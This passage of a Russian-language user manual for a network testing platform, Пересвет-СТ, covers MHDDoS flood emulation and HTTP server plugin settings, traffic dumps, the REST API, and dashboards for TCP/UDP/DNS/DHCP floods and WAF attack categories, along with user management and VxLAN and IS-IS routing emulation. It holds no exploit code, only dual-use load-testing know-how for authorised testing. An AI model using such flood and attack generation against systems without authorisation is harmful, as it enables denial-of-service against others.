| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение Значение по умолчанию: «0» |
После включения подплагинов необходимо указать длительность работы плагина MHDDOS Emulation
Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 159.
Табл. 159 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберите величину (в секундах, минутах или часах) |
Настройка плагина Серверной конфигурации
HTTP
HTTP – плагин для получения различного веб-трафика.
Данный плагин состоит из следующих параметров:
- Получатель – совокупность из выбранного агента, интерфейсов и MAC-адресов, на которая будет принимать трафик. Описание параметров указаны в Табл. 160;
Табл. 160 – Параметры «Получатель»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, который будет принимать трафик. | Выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, который будет принимать трафик | Выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети»), параметры которого будут использоваться для приема трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | Выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
- IP заголовок (L3) - параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 161;
Табл. 161 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 162;
Табл. 162 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
- Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 163;
Табл. 163 – Параметры «Параметры HTTP»
| Название | Описание | Значение |
|---|---|---|
| HTTPs | Указывает, используется ли защищенный протокол передачи данных HTTPS | Да / Нет (укажите текущее состояние переключателем тумблера, если выбран вариант "Да", то заполните параметры TLS, согласно таблицу 156) |
| Версия HTTP | Указывает версию протокола HTTP, используемую для передачи данных. | Выберите значение HTTP 1.1 или HTTP 2.0 |
| HTTP метод | Метод, используемый для ответа агента на получаемые запросы. | Выберите из следующего списка: GET POST PUT PATCH DELETE |
| Тело запроса | Часть HTTP-запроса, содержащая данные, которые сервер отправляет на получаемый запрос (например, форму или JSON). Параметр доступен если выбраны методы: POST, PUT или PATCH | Заполните поле «тело запроса» следующим образом: Введите значение тело запроса ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
| Заголовки | Дополнительные метаданные, отправляемые вместе с HTTP-запросом. | Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
Табл. 164 – Параметры «Параметры TLS»
| Название | Описание | Значение |
|---|---|---|
| Версия TLS | Версия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером (Параметр доступен, если параметр HTTPs включен) | Выберите значение TLS v1.2 или TLS v1.3 |
| SSL-сертификат | Выбор SSL-сертификата, используемого для установления TLS-соединения (сертификат сервера) | Выберите значение |
| SSL шифры | список/набор криптографических наборов (cipher suites), которые сервер будет предлагать/принимать при рукопожатии | Выберите значение |
- Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указано в Табл. 165;
Табл. 165 – Параметры «Параметры сессии»
| Название | Описание | Значение |
|---|---|---|
| Тайм-аут сессий | Максимальное время, в течение которого сессия между клиентом и сервером считается активной и действительной без необходимости её обновления или повторного установления. | Задайте числовое значение и выберите величину (в секундах, минутах или часах) |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 166.
Табл. 166 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность приёма трафика | Время в течении которого агент будет принимать входящий трафик и отвечать на него | Задайте числовое значение и выберите величину (в секундах, минутах или часах) |
Взаимодействие со схемой при конфигурации задания
После добавления плагинов в клиентской или/и серверной конфигурации схема с описанием плагина клиентской части и направлением трафика в сторону выбранной цели. При нажатии на блок плагина в задании, открывается редактирование выбранного плагина, также как и открывается редактирование списке клиентских и серверных плагинов при нажатии на кнопку
.
Пример схемы приведен на Рис 8.

Рис. 8 – Полученная схема после конфигурации клиентского и серверного плагинов
Настройка «Дампы трафика»
Вкладка "Дампы трафика" в веб-интерфейсе позволяет включать запись входящего и исходящего трафика в формате pcap, а также запрашивать эти записи с агента как до завершения, так и после завершения задачи по генерации трафика.
Включение записи трафика
Для просмотра записи отправленного и принятого трафика Пересвет-СТ необходимо включить запись дампов трафика. Включение записи трафика активируется на всех агентах одновременно.
Для этого необходимо:
-
Подключиться к веб-интерфейсу Пересвет-СТ.
-
Перейти в раздел Задачи
-
Выбрать задачу, по которой необходимо собрать запись трафика.
-
Перейти в настройки включения записи трафика, нажав на кнопку «Дампы трафика» (см. Рис. 9)

Рис. 9 – Кнопка «Дампы трафика»
-
Переключите тумблер «Запись дампов трафика»
-
Заполните поле «Значение»
-
выберите величину из списка:
- Bytes – в байтах;
- KB – в килобайтах;
- MB – в мегобайтах;
- GB – в гигобайтах.
-
Далее необходимо перейти в настройки выбранной задачи и запустить задачу;
-
Далее перейти настройки включения записи трафика, нажав на кнопку «Дампы трафика»;
-
В окне «Дампы трафика» присутствует таблица с сделанными записями трафика. Справа от выбранной записи нажмите кнопку «Скачать» и дождитесь загрузки записи трафика.
В этой таблице отображаются дампы, собранные в процессе выполнения данной задачи. Для их появления и возможности скачивания должна быть активирована опция записи. Снимки попадают в таблицу в следующих случаях:
• Когда задача завершается (неважно, автоматически или вы сделали это вручную);
• Если во время выполнения задачи запросили дамп с какого-то конкретного агента.
Для повторного запроса записи файлов с агента необходимо нажать кнопку «Обновить список файлов».
Запрос записи трафика
В процессе выполнения задачи вы можете запросить дамп у агента. После отправки запроса на получение дампа, файл появится на контроллере. При завершении задачи, дампы автоматически загружаются на контроллер и доступны для скачивания.
Для этого необходимо:
-
Подключиться к веб-интерфейсу Пересвет-СТ.
-
Перейти в раздел Задачи
-
Выбрать задачу, по которой необходимо собрать запись трафика.
-
Перейти в настройки включения записи трафика, нажав на кнопку «Дампы трафика» (см. Рис. 9), убедится, что запись дампов трафика включена.
-
Далее необходимо вернуться в задачу и включить ее.
-
Далее вернуться в настройки включения записи трафика, нажав на кнопку «Дампы трафика»
-
В окне «Дампы трафика» нажать на кнопку «Задействованные агенты»
-
Далее, в строке необходимого агента нажмите на кнопку «Запросить дамп»
-
Далее необходимо нажать на кнопку «Обзор файлов»
Важно: процесс запроса дампа трафика с агента на контроллер занимает некоторое время в зависимости от нагрузки внутри задачи и объёма дампа трафика.
-
Далее необходимо нажать на кнопку «Обновить список файлов»
-
В окне «Дампы трафика» присутствует таблица с сделанными записями трафика. Справа от появившейся записи нажмите кнопку «Скачать» и дождитесь загрузки записи трафика.
Управление Пересвет-СТ через REST API
Помимо веб-интерфейса, Пересвет-СТ предоставляет REST API для программного управления системой. API контроллера доступен по порту 8080 и использует JWT-аутентификацию — токен передаётся в cookies после прохождения авторизации. Через API можно выполнять все основные операции: управление задачами (создание, запуск, остановка, удаление), настройку агентов и сетей, управление пользователями и группами. Это позволяет автоматизировать сценарии тестирования, интегрировать Пересвет-СТ в CI/CD-пайплайны и управлять платформой из внешних скриптов или оркестраторов. Для взаимодействия с API достаточно любого HTTP-клиента (curl, Postman+, Python requests и т.д.).
Метрики и дашборды
Пересвет-СТ собирает метрики в реальном времени и экспортирует их в ClickHouse. Для визуализации результатов используется Grafana — каждому типу плагина соответствует один или несколько преднастроенных дашбордов. Дашборды доступны из веб-интерфейса Пересвет-СТ при запущенной задаче.
Под графиками дашбордов расположена кнопка «Экспорт в PDF», позволяющая сформировать отчёт по результатам задачи тестирования в формате PDF. Отчёт включает все графики и таблицы метрик текущего дашборда на выбранном временном интервале и может использоваться для документирования результатов испытаний, передачи заказчику или внутреннего аудита.
Общие метрики (Total)
Дашборд Total отображает агрегированные показатели по всем плагинам задачи:
| Метрика | Описание |
|---|---|
| total.rx.packets / total.tx.packets | Общее количество принятых / отправленных пакетов |
| total.rx.bytes / total.tx.bytes | Общий объём принятых / отправленных данных (байт) |
| total.tx.drop | Количество отброшенных пакетов при отправке |
| total.pkt.lost | Количество потерянных пакетов |
| total.rx.bad | Количество принятых некорректных пакетов |
| total.tx.l1_bits / total.rx.l1_bits | Битрейт L1 (с учётом межкадровых интервалов и преамбул) TX / RX |
| total.tx.line_rate / total.rx.line_rate | Утилизация линии (%) TX / RX |
| total.cpu_usage | Загрузка CPU ядер обработки |
| total.tos.rx | Принятые пакеты с анализом поля ToS |
| total.rx.imissed | Пакеты, пропущенные NIC (переполнение очереди) |
| total.rx.ierrors | Ошибки приёма на уровне NIC |
HTTP / TLS
Дашборд Total HTTP/TLS — агрегация по всем HTTP-плагинам. Дашборд HTTP/TLS — детализация по конкретному плагину.
| Метрика | Описание |
|---|---|
| http_1_1.tx.requests / http_1_1.rx.responses | Отправленные запросы / полученные ответы (HTTP/1.1) |
| http_1_1.tx.bytes / http_1_1.rx.bytes | Объём данных TX / RX |
| http_1_1.code.1xx–5xx | Распределение HTTP-кодов ответа (1xx, 2xx, 3xx, 4xx, 5xx) |
| http_1_1.ttfb | Time To First Byte — задержка до первого байта ответа |
| http_1_1.ttlb | Time To Last Byte — задержка до последнего байта ответа |
| http_1_1.method.get/post/put/patch/delete | Количество запросов по HTTP-методам |
| http_2.tx.requests / http_2.rx.responses | Отправленные запросы / полученные ответы (HTTP/2) |
| http_2.code.1xx–5xx | Распределение HTTP-кодов ответа (HTTP/2) |
| http_2.ttfb / http_2.ttlb | Задержки TTFB / TTLB (HTTP/2) |
| http_2.streams.opened/closed/reseted | Количество открытых / закрытых / сброшенных стримов HTTP/2 |
| tcp.cps | TCP Connections Per Second — новых соединений в секунду |
| tcp.cc | TCP Concurrent Connections — текущие активные соединения |
| tcp.hs_avg_delay | Средняя задержка TCP-хендшейка |
| tls_1_2.* / tls_1_3.* | Аналогичные метрики в разрезе версий TLS (пакеты, байты, CPS, CC, Client/Server Hello, задержка хендшейка) |
TCP Flood (SYN / SYN-ACK / ACK / RST / RST-ACK / FIN / FIN-ACK / PSH / PSH-ACK / Xmas)
Дашборд Total TCP — агрегация по всем TCP flood плагинам. Для каждого типа flood есть отдельный дашборд (например, TCP SYN, TCP ACK, TCP Xmas и т.д.).
| Метрика | Описание |
|---|---|
| tcp.tx.flags.syn / tcp.rx.flags.syn | Отправленные / принятые SYN-пакеты |
| tcp.tx.flags.syn_ack / tcp.rx.flags.syn_ack | Отправленные / принятые SYN-ACK-пакеты |
| tcp.tx.flags.ack / tcp.rx.flags.ack | Отправленные / принятые ACK-пакеты |
| tcp.tx.flags.rst / tcp.rx.flags.rst | Отправленные / принятые RST-пакеты |
| tcp.tx.flags.rst_ack / tcp.rx.flags.rst_ack | Отправленные / принятые RST-ACK-пакеты |
| tcp.tx.flags.fin / tcp.rx.flags.fin | Отправленные / принятые FIN-пакеты |
| tcp.tx.flags.fin_ack / tcp.rx.flags.fin_ack | Отправленные / принятые FIN-ACK-пакеты |
| tcp.tx.flags.psh / tcp.rx.flags.psh | Отправленные / принятые PSH-пакеты |
| tcp.tx.flags.psh_ack / tcp.rx.flags.psh_ack | Отправленные / принятые PSH-ACK-пакеты |
| tcp.tx.flags.xmas / tcp.rx.flags.xmas | Отправленные / принятые Xmas-пакеты (все флаги) |
| tcp.tx.packets / tcp.rx.packets | Общее количество TCP-пакетов TX / RX |
| tcp.tx.bytes / tcp.rx.bytes | Объём TCP-данных TX / RX |
UDP Flood
Дашборд Total UDP — агрегация. Дашборд UDP — детализация.
| Метрика | Описание |
|---|---|
| udp.tx.packets / udp.rx.packets | Отправленные / принятые UDP-пакеты |
| udp.tx.bytes / udp.rx.bytes | Объём UDP-данных TX / RX |
| udp.rt | Время отклика (round-trip) UDP |
| udp.drop | Потерянные UDP-пакеты |
GRE Flood
Дашборд Total GRE — агрегация. Дашборд GRE — детализация.
| Метрика | Описание |
|---|---|
| gre.tx.packets / gre.rx.packets | Отправленные / принятые GRE-пакеты |
| gre.tx.bytes / gre.rx.bytes | Объём GRE-данных TX / RX |
DNS Flood
Дашборд Total DNS Flood — агрегация. Дашборд DNS Flood — детализация.
| Метрика | Описание |
|---|---|
| dns_flood.tx.packets / dns_flood.rx.packets | Отправленные / принятые DNS Flood-пакеты |
| dns_flood.tx.bytes / dns_flood.rx.bytes | Объём DNS Flood-данных TX / RX |
DHCP Flood
Дашборд Total DHCP Flood — агрегация. Дашборд DHCP Flood — детализация.
| Метрика | Описание |
|---|---|
| dhcp_flood.tx.packets / dhcp_flood.rx.packets | Отправленные / принятые DHCP Flood-пакеты |
| dhcp_flood.tx.bytes / dhcp_flood.rx.bytes | Объём DHCP Flood-данных TX / RX |
WAF
Дашборд WAF отображает результаты тестирования Web Application Firewall — количество отправленных запросов по каждой категории атак:
| Группа метрик | Описание |
|---|---|
| waf.broken_access_control, waf.injection.*, waf.xss.*, waf.ssrf и др. | Базовое тестирование: по одной метрике на каждый тип атаки (18 категорий) |
| waf.sqli.* | SQLi Advanced: 50 типов SQL-инъекций |
| waf.xxe.* | XXE Advanced: 4 типа атак на XML-парсер |
| waf.cmdi.* | Command Injection Advanced: 18 типов OS-команд |
| waf.fi.* | File Injection Advanced: 8 типов включения файлов |
| waf.pt.* | Path Traversal Advanced: 17 типов обхода путей |
| waf.unc.* | UNC Path: 4 типа атак через UNC-пути |
| waf.rce.* | RCE Advanced: 6 типов удалённого выполнения кода |
| waf.xss.* (advanced) | XSS Advanced: 19 типов межсайтового скриптинга |
| waf.ssrf.* (advanced) | SSRF Advanced: 19 типов подделки серверных запросов |
| waf.ssti.* | SSI/SSTI Advanced: 7 типов серверных инъекций шаблонов |
| waf.graphql.* | GraphQL: 2 типа атак на схему GraphQL |
DNS
Дашборд Total DNS — агрегация по всем DNS-плагинам. Отдельные дашборды: DNS over UDP, DNS over TCP, DNS over TLS, DNS over HTTP.
| Метрика | Описание |
|---|---|
| dns.tx.queries / dns.rx.responses | Отправленные запросы / полученные ответы |
| dns.tx.bytes / dns.rx.bytes | Объём DNS-данных TX / RX |
| dns.rx.rcode.ok | Ответы с кодом NOERROR |
| dns.rx.rcode.format_error | Ответы с кодом FORMERR |
| dns.rx.rcode.server_failure | Ответы с кодом SERVFAIL |
| dns.rx.rcode.name_error | Ответы с кодом NXDOMAIN |
| dns.rx.rcode.not_implemented | Ответы с кодом NOTIMP |
| dns.rx.rcode.refused | Ответы с кодом REFUSED |
| dns.rx.flags.aa/tc/rd/ra | Флаги DNS-ответов: Authoritative, Truncated, Recursion Desired/Available |
| dns.tls_1_2.* / dns.tls_1_3.* | Метрики DNS over TLS в разрезе версий TLS (пакеты, байты, CC) |
MHDDoS Emulation
Дашборд MHDDoS отображает комбинированные метрики всех активных подплагинов (SYN Flood, UDP Flood, GRE Flood, STRESS и др.) в рамках одной задачи MHDDoS.
Dual-режим (клиент + сервер)
При одновременном запуске клиентского и серверного плагинов доступны дашборды с суффиксом Dual, объединяющие метрики обеих сторон на одном экране:
| Дашборд | Описание |
|---|---|
| Total Dual | Общие метрики клиента и сервера |
| Total HTTP/TLS Dual | HTTP/TLS агрегация клиент + сервер |
| HTTP/TLS Dual | Детализация HTTP/TLS клиент + сервер |
Служебные метрики
Дополнительные метрики, доступные на общих дашбордах:
| Метрика | Описание |
|---|---|
| arp.rx/tx.packets, arp.rx/tx.bytes | ARP-трафик (автоматический, для резолвинга MAC-адресов) |
| icmp.rx/tx.packets, icmp.rx/tx.bytes | ICMP-трафик (автоматические ответы на ping и др.) |
| kni.rx/tx.packets, kni.rx/tx.bytes | Трафик через KNI-интерфейс (перенаправление в ядро ОС) |
| other.rx | Прочие принятые пакеты, не относящиеся к плагинам |
Настройка «Пользователи и группы»
Вкладка "Пользователи и группы" в веб-интерфейсе позволяет удобно управлять учетными записями: создавать, редактировать и удалять пользователей и группы, обеспечивая эффективное администрирование доступа и ролей в системе.
Настройка «Групп»
Создание группы
Для того, чтобы создать группу для пользователей необходимо:
-
Перейти в раздел Пользователи → Группы;
-
Далее нажать на кнопку «Создать Группу» (рис. Рис. 10)

Рис. 10 – Кнопка «Создать группу»
-
В окне «Новый пользователь» заполнить поле «Название группы»
-
Выбрать права пользователей группы из следующего списка:
- Доступ к дашбордам
- Создание групп
- Удаление групп
- Чтение групп
- Редактирование групп
- Чтение логов
- Чтение настроек
- Редактирование настроек
- Чтение задач
- Редактирование задач
- Блокировка пользователей
- Создание пользователей
- Удаление пользователей
- Чтение пользователей
- Редактирование пользователей
-
Далее, для создания группы необходимо нажать на кнопку «Применить».
Редактирование группы
Для того, чтобы редактировать группу для пользователей необходимо:
-
Перейти в раздел Пользователи → Группы;
-
Выбрать нужную группу и напротив нее нажать на кнопку

-
Выполнить необходимое изменение в параметрах «Название группы» «Права пользователей в группе»
-
Далее, для сохранения настроек групы необходимо нажать на кнопку «Применить».
Удаление группы
Для того, чтобы удалить группу для пользоветелей необходимо:
-
Перейти в раздел Пользователи → Группы;
-
Выбрать нужную группу и напротив нее нажать на кнопку

-
Далее, в появившемся окне «Удаление группы» для выбранной группы подтвердите удаление, нажатием кнопки «Подтвердить».
Настройка «Пользователей»
Создание пользователя
Для того, чтобы создать группу для пользоветелй необходимо:
-
Перейти в раздел Пользователи → Пользователи;
-
Далее нажать на кнопку «Создать Пользователя» (рис. Рис. 11);

Рис. 11 – Кнопка «Создать Пользователя»
-
В окне «Новый пользователь» заполнить поле «Адрес эл. почты»;
-
Заполнить поле «Имя пользователя»;
-
Выбрать соответстсвующую группу из списка групп;
-
Далее, для создания пользователя необходимо нажать на кнопку «Применить»;
-
После это в окне «Данные для входа» появятся пара логина и пароля для прохождения аутентификации в веб-интерфейсе;
-
При первой аутентификации пользователю будет предложено сменить пароль (см. раздел Смена пароля).
Редактирование пользователя
Для того, чтобы редактировать данные пользователя необходимо:
-
Перейти в раздел Пользователи → Пользователи;
-
Выбрать нужного пользователя и напротив нее нажать на кнопку
и в появившемся окне нажать кнопку «Редактировать». -
Выполнить необходимое изменение в параметрах пользователя
-
Далее, для сохранения настроек пользователя необходимо нажать на кнопку «Применить».
Блокировка пользователя
Для того, чтобы редактировать данные пользователя необходимо:
-
Перейти в раздел Пользователи → Пользователи;
-
Выбрать нужного пользователя и напротив нее нажать на кнопку
и в появившемся окне нажать кнопку «Заблокировать». -
Далее, для применения блокировки к пользователю необходимо нажать на кнопку «Применить».
-
Далее напротив заблокированного пользователя в столбце «Статус» у него изменится состояние с «Активный» на «Заблокированный»
Удаление пользователя
Для того, чтобы удалить пользователя необходимо:
-
Перейти в раздел Пользователи → Пользователи;
-
Выбрать нужного пользователя и напротив нее нажать на кнопку

-
Далее, в появившемся окне «Удаление пользователя» для выбранного пользователя подтвердите удаление, нажатием кнопки «Подтвердить».
Интеграция с AD/LDAP
Пересвет-СТ поддерживает интеграцию с Active Directory и LDAP-каталогами для централизованного управления учётными записями. Это позволяет использовать существующую корпоративную директорию вместо ручного создания пользователей и групп в веб-интерфейсе.
Подключение к AD/LDAP
Настройка подключения к серверу каталогов выполняется в разделе «Пользователи и группы» веб-интерфейса контроллера. Администратор указывает адрес сервера, Base DN, учётные данные сервисной записи и параметры TLS-соединения.
Импорт групп из AD/LDAP
После подключения к каталогу доступен импорт групп — администратор выбирает нужные группы из каталога, и они автоматически создаются в Пересвет-СТ с возможностью назначения прав доступа. Синхронизация состава групп выполняется при каждом входе пользователя.
Импорт пользователей из AD/LDAP
Пользователи, входящие в импортированные группы, автоматически получают доступ к веб-интерфейсу при аутентификации через свои доменные учётные данные. Ручное создание учётных записей для таких пользователей не требуется — при первом входе профиль создаётся автоматически на основе атрибутов из каталога.
Схема использования Пересвет-СТ
В данном разделе представлена схема использования Пересвет-СТ (см. Рис. 12). Данный пример показывает возможность тестирования любых сетевых устройств, как и приложений, стоящими между агентами Пересвет-СТ, а также использование одного контроллера Пересвет-СТ для управления внешними и внутренними агентами Пересвет-СТ. Агенты могут выступать как в роли генератора трафика, так и в роли сервера, принимающего трафик.

Рис. 12 – Схема использования Пересвет-СТ
Настройка маршрутизации (Редактирование маршрутизации)
Пересвет-СТ поддерживает эмуляцию протоколов динамической маршрутизации. Данный функционал позволяет создавать виртуальные узлы, подключённые к одному или нескольким сетевым интерфейсам, и проводить комплексное тестирование как BNG, так и обычных маршрутизаторов.
Для перехода к настройке маршрутизации необходимо открыть задачу и выбрать нужный агент, затем нажать кнопку «Редактирование маршрутизации». В левой панели отображается дерево настроек, включающее:
- Основные настройки — общие параметры;
- Интерфейс — настройка сетевого интерфейса агента;
- VxLAN — настройка VxLAN-туннелирования (overlay-сеть);
- Протоколы: IS-IS, OSPFv2, OSPFv3, BGP, LDP, LLDP.
После внесения всех изменений необходимо нажать кнопку «+ Сохранить» в правом верхнем углу страницы.
Интерфейс
Раздел «Интерфейс» задаёт базовые параметры сетевого интерфейса агента, через который будет осуществляться взаимодействие с тестируемым устройством.
| Поле | Описание |
|---|---|
| Имя интерфейса | Имя сетевого интерфейса (заполняется автоматически, например 0000:01:00.0) |
| VLAN | Идентификатор VLAN. Значение 0 означает отсутствие тегирования |
| MTU | Максимальный размер передаваемого блока данных в байтах. Значение 0 означает использование значения по умолчанию |
| Исходная сеть (наш IP) | IP-адрес источника в формате CIDR, например 10.0.0.0/24 |
| Целевая сеть (Gateway) | IP-адрес шлюза (следующего хопа), например 10.0.0.1 |
LAG/MLAG
LAG (Link Aggregation Group) и MLAG (Multi-Chassis Link Aggregation) настраиваются в разделе Control Plane страницы задачи. Позволяют объединять несколько физических каналов в единый логический, увеличивая пропускную способность и обеспечивая отказоустойчивость соединения при тестировании.
VxLAN
VxLAN (Virtual Extensible LAN) — технология сетевой виртуализации, описанная в RFC 7348. Позволяет создавать логические сети второго уровня (overlay) поверх существующей IP-инфраструктуры (underlay) путём инкапсуляции Ethernet-кадров в UDP-пакеты. Пересвет-СТ поддерживает генерацию и приём трафика внутри VxLAN-туннелей, что позволяет тестировать оборудование ЦОД и сетевые фабрики, использующие VxLAN в качестве overlay-транспорта.
При включении VxLAN весь генерируемый трафик (TCP, UDP, HTTP и др.) автоматически инкапсулируется в VxLAN-заголовки: к каждому пакету добавляется внешний Ethernet-заголовок, внешний IP-заголовок с адресами VTEP, UDP-заголовок с портом назначения 4789 и VxLAN-заголовок с идентификатором VNI. Входящий трафик автоматически декапсулируется и обрабатывается соответствующим плагином.
Ограничения: VxLAN и VLAN не могут использоваться одновременно на одном интерфейсе. При включении VxLAN поле «VLAN» в настройках интерфейса должно быть равно
0.
Основные настройки VxLAN
| Поле | Описание | Значение по умолчанию |
|---|---|---|
| Включить VxLAN | Включение/выключение VxLAN-инкапсуляции на данном интерфейсе | Выкл. |
| VNI | VxLAN Network Identifier — 24-битный идентификатор виртуальной сети. Допустимые значения: от 1 до 16777215 (0xFFFFFF). Все пакеты будут маркированы данным VNI, а входящие пакеты с другим VNI будут отброшены | — |
Настройки VTEP (Virtual Tunnel Endpoint)
VTEP — это конечная точка VxLAN-туннеля. Пересвет-СТ эмулирует локальный VTEP и направляет инкапсулированный трафик на удалённый VTEP тестируемого устройства.
| Поле | Описание | Значение по умолчанию |
|---|---|---|
| Локальный VTEP IP | IP-адрес (или начальный адрес диапазона) локального VTEP. Используется как Source IP во внешнем IP-заголовке VxLAN-пакетов | — |
| Количество локальных VTEP | Количество локальных VTEP-адресов в диапазоне. Адреса назначаются последовательно, по одному на каждую очередь обработки (CPU core). Например, при значении 4 и базовом адресе 10.0.0.1 будут использованы адреса 10.0.0.1–10.0.0.4 | 1 |
| Удалённый VTEP IP | IP-адрес (или начальный адрес диапазона) удалённого VTEP — адрес тестируемого устройства. Используется как Destination IP во внешнем IP-заголовке | — |
| Количество удалённых VTEP | Количество удалённых VTEP-адресов в диапазоне. Значение 1 — все очереди направляют трафик на один удалённый VTEP. При значении, равном количеству очередей, каждая очередь использует свой удалённый VTEP | 1 |
Внутренние Ethernet-заголовки (Inner L2)
Параметры внутреннего (оригинального) Ethernet-кадра, который будет инкапсулирован в VxLAN-пакет.
| Поле | Описание | Значение по умолчанию |
|---|---|---|
| Inner Source MAC | MAC-адрес источника во внутреннем Ethernet-заголовке. Эмулирует MAC-адрес виртуальной машины или хоста за локальным VTEP | — |
| Inner Destination MAC | MAC-адрес назначения во внутреннем Ethernet-заголовке. Эмулирует MAC-адрес виртуальной машины или хоста за удалённым VTEP | — |
Структура VxLAN-пакета
Итоговая структура каждого сгенерированного пакета при включённом VxLAN:
┌──────────────────────────────────────────────────┐
│ Outer Ethernet Header (14 байт) │ ← MAC интерфейса → MAC шлюза
├──────────────────────────────────────────────────┤
│ Outer IP Header (20 байт) │ ← Локальный VTEP IP → Удалённый VTEP IP
├──────────────────────────────────────────────────┤
│ Outer UDP Header (8 байт) │ ← Source port (энтропия) → Dest port: 4789
├──────────────────────────────────────────────────┤
│ VxLAN Header (8 байт) │ ← Flags + VNI
├──────────────────────────────────────────────────┤
│ Inner Ethernet Header (14 байт) │ ← Inner Source MAC → Inner Dest MAC
├──────────────────────────────────────────────────┤
│ Inner IP / TCP / UDP / HTTP / ... │ ← Полезная нагрузка плагина
└──────────────────────────────────────────────────┘
Примечание: VxLAN-инкапсуляция добавляет 50 байт служебных заголовков к каждому пакету. Рекомендуется учитывать это при настройке MTU на underlay-сети (стандартное значение MTU для VxLAN underlay —
1550или9000при использовании Jumbo Frames). Внешний UDP Source Port генерируется автоматически на основе параметров внутреннего потока для обеспечения равномерного распределения трафика (ECMP) в underlay-сети.
IS-IS
IS-IS (Intermediate System to Intermediate System) — протокол маршрутизации внутри автономной системы, широко применяемый в сетях операторов связи. Пересвет-СТ может эмулировать один или несколько IS-IS экземпляров, каждый из которых ведёт себя как полноценный маршрутизатор: выполняет синхронизацию базы данных и наводнение LSP.
Основные настройки IS-IS
| Поле | Описание | Значение по умолчанию |
|---|---|---|
| Включить IS-IS | Включение/выключение протокола IS-IS | Выкл. |
| Level | Уровень IS-IS: L1, L2 или L1/L2 | L1 |
| System ID | Идентификатор системы, например 0100.0000.0001 | 0100.1001.0010 |
| Router ID | Идентификатор маршрутизатора, например 10.10.10.2 | 10.10.10.10 |
| Hostname | Имя хоста маршрутизатора, например R1 | bngblaster |
| Areas | Список зон IS-IS (добавление через кнопку «+ Add area») | 49.0001/24 |
Протоколы IS-IS
| Поле | Описание | Значение по умолчанию |
|---|---|---|
| Protocol IPv4 | Включение маршрутизации IPv4 | Вкл. |
| Protocol IPv6 | Включение маршрутизации IPv6 | Выкл. |
Таймеры IS-IS
| Поле | Описание | Значение по умолчанию |
|---|---|---|
| Hello interval (s) | Интервал отправки Hello-пакетов, в секундах | 10 |
| Hold time (s) | Время удержания соседства, в секундах | 30 |
| LSP lifetime (s) | Время жизни LSP, в секундах | 65535 |
| LSP refresh interval | Интервал обновления LSP, в секундах | 300 |
| LSP retry interval | Интервал повторной отправки LSP при ошибке, в секундах | 5 |
| LSP TX interval | Интервал окна отправки LSP, в миллисекундах | 10 |
| LSP TX window size | Количество LSP, отправляемых в одном окне | 1 |
| LSP buffer size | Размер буфера LSP, в байтах | 1492 |
| CSNP interval | Интервал CSNP, в секундах | 30 |
| Teardown time (s) | Время завершения сессии, в секундах | 5 |
| Hello padding | Включение дополнения Hello-пакетов до MTU | Выкл. |
Аутентификация IS-IS — Уровень 1 и Уровень 2
Настройки аутентификации задаются отдельно для каждого уровня IS-IS.
